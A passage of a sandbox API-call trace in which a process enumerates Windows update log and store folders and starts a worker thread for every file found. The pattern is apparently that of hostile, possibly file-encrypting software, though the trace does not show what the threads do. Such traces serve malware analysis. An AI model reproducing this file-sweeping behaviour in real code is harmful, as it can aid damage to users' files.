dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0077.735] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0077.735] wcscmp (_String1="UpdateSessionOrchestration.018.etl", _String2=".") returned 1 [0077.735] wcscmp (_String1="UpdateSessionOrchestration.018.etl", _String2="..") returned 1 [0077.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348baa8 [0077.735] wcscpy (in: _Dest=0x348baa8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.735] wcscat (in: _Dest=0x348baa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.735] wcscat (in: _Dest=0x348baa8, _Source="UpdateSessionOrchestration.018.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" [0077.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348baa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0077.736] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0077.736] wcscmp (_String1="UpdateSessionOrchestration.019.etl", _String2=".") returned 1 [0077.736] wcscmp (_String1="UpdateSessionOrchestration.019.etl", _String2="..") returned 1 [0077.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348bc70 [0077.736] wcscpy (in: _Dest=0x348bc70, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.736] wcscat (in: _Dest=0x348bc70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.736] wcscat (in: _Dest=0x348bc70, _Source="UpdateSessionOrchestration.019.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" [0077.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0077.737] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0077.737] wcscmp (_String1="UpdateSessionOrchestration.020.etl", _String2=".") returned 1 [0077.737] wcscmp (_String1="UpdateSessionOrchestration.020.etl", _String2="..") returned 1 [0077.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348c390 [0077.737] wcscpy (in: _Dest=0x348c390, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.737] wcscat (in: _Dest=0x348c390, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.737] wcscat (in: _Dest=0x348c390, _Source="UpdateSessionOrchestration.020.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" [0077.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0077.738] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0077.738] wcscmp (_String1="UpdateSessionOrchestration.021.etl", _String2=".") returned 1 [0077.738] wcscmp (_String1="UpdateSessionOrchestration.021.etl", _String2="..") returned 1 [0077.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b8e0 [0077.738] wcscpy (in: _Dest=0x348b8e0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.738] wcscat (in: _Dest=0x348b8e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.738] wcscat (in: _Dest=0x348b8e0, _Source="UpdateSessionOrchestration.021.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" [0077.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0077.739] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0077.739] wcscmp (_String1="UpdateSessionOrchestration.022.etl", _String2=".") returned 1 [0077.739] wcscmp (_String1="UpdateSessionOrchestration.022.etl", _String2="..") returned 1 [0077.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b680 [0077.739] wcscpy (in: _Dest=0x348b680, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.739] wcscat (in: _Dest=0x348b680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.739] wcscat (in: _Dest=0x348b680, _Source="UpdateSessionOrchestration.022.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" [0077.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0077.740] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0077.740] wcscmp (_String1="UpdateSessionOrchestration.023.etl", _String2=".") returned 1 [0077.740] wcscmp (_String1="UpdateSessionOrchestration.023.etl", _String2="..") returned 1 [0077.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348bb40 [0077.740] wcscpy (in: _Dest=0x348bb40, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.740] wcscat (in: _Dest=0x348bb40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.740] wcscat (in: _Dest=0x348bb40, _Source="UpdateSessionOrchestration.023.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" [0077.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bb40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0077.741] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0077.741] wcscmp (_String1="UpdateSessionOrchestration.024.etl", _String2=".") returned 1 [0077.741] wcscmp (_String1="UpdateSessionOrchestration.024.etl", _String2="..") returned 1 [0077.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348c098 [0077.741] wcscpy (in: _Dest=0x348c098, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.741] wcscat (in: _Dest=0x348c098, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.741] wcscat (in: _Dest=0x348c098, _Source="UpdateSessionOrchestration.024.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" [0077.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0077.742] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0077.742] wcscmp (_String1="UpdateSessionOrchestration.025.etl", _String2=".") returned 1 [0077.742] wcscmp (_String1="UpdateSessionOrchestration.025.etl", _String2="..") returned 1 [0077.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348bda0 [0077.742] wcscpy (in: _Dest=0x348bda0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.742] wcscat (in: _Dest=0x348bda0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.742] wcscat (in: _Dest=0x348bda0, _Source="UpdateSessionOrchestration.025.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" [0077.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0077.743] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0077.743] wcscmp (_String1="UpdateSessionOrchestration.026.etl", _String2=".") returned 1 [0077.743] wcscmp (_String1="UpdateSessionOrchestration.026.etl", _String2="..") returned 1 [0077.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b718 [0077.743] wcscpy (in: _Dest=0x348b718, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.743] wcscat (in: _Dest=0x348b718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.743] wcscat (in: _Dest=0x348b718, _Source="UpdateSessionOrchestration.026.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" [0077.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0077.744] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0077.744] wcscmp (_String1="UpdateSessionOrchestration.027.etl", _String2=".") returned 1 [0077.744] wcscmp (_String1="UpdateSessionOrchestration.027.etl", _String2="..") returned 1 [0077.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b7b0 [0077.744] wcscpy (in: _Dest=0x348b7b0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.744] wcscat (in: _Dest=0x348b7b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.744] wcscat (in: _Dest=0x348b7b0, _Source="UpdateSessionOrchestration.027.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" [0077.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0077.745] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0077.745] wcscmp (_String1="UpdateUx.001.etl", _String2=".") returned 1 [0077.745] wcscmp (_String1="UpdateUx.001.etl", _String2="..") returned 1 [0077.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347da80 [0077.745] wcscpy (in: _Dest=0x347da80, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.745] wcscat (in: _Dest=0x347da80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.745] wcscat (in: _Dest=0x347da80, _Source="UpdateUx.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" [0077.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347da80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0077.746] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0077.746] wcscmp (_String1="UpdateUx.002.etl", _String2=".") returned 1 [0077.746] wcscmp (_String1="UpdateUx.002.etl", _String2="..") returned 1 [0077.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347de70 [0077.746] wcscpy (in: _Dest=0x347de70, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.746] wcscat (in: _Dest=0x347de70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.746] wcscat (in: _Dest=0x347de70, _Source="UpdateUx.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" [0077.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0077.747] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 0 [0077.747] FindClose (in: hFindFile=0x33e0598 | out: hFindFile=0x33e0598) returned 1 [0077.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4850) returned 1 [0077.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341bd50) returned 1 [0077.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9dd8) returned 1 [0077.747] RtlExitUserThread (Status=0x0) Thread: id = 813 os_tid = 0x112c [0076.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fa00 [0076.470] wcscpy (in: _Dest=0x347fa00, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore" [0076.470] wcscat (in: _Dest=0x347fa00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" [0076.470] wcscat (in: _Dest=0x347fa00, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*" [0076.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4ab8 [0076.470] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2bb800e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e05d8 [0076.472] wcscmp (_String1=".", _String2=".") returned 0 [0076.472] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2bb800e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.472] wcscmp (_String1="..", _String2=".") returned 1 [0076.472] wcscmp (_String1="..", _String2="..") returned 0 [0076.472] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateCspStore.xml", cAlternateFileName="UPDATE~2.XML")) returned 1 [0076.472] wcscmp (_String1="UpdateCspStore.xml", _String2=".") returned 1 [0076.472] wcscmp (_String1="UpdateCspStore.xml", _String2="..") returned 1 [0076.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347f5f0 [0076.472] wcscpy (in: _Dest=0x347f5f0, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore" [0076.472] wcscat (in: _Dest=0x347f5f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" [0076.472] wcscat (in: _Dest=0x347f5f0, _Source="UpdateCspStore.xml" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" [0076.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0076.596] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x241e602, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2b91bea, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0xb5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0076.596] wcscmp (_String1="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", _String2=".") returned 1 [0076.596] wcscmp (_String1="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", _String2="..") returned 1 [0076.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34320a0 [0076.596] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore" [0076.596] wcscat (in: _Dest=0x34320a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" [0076.596] wcscat (in: _Dest=0x34320a0, _Source="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" [0076.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34320a0, 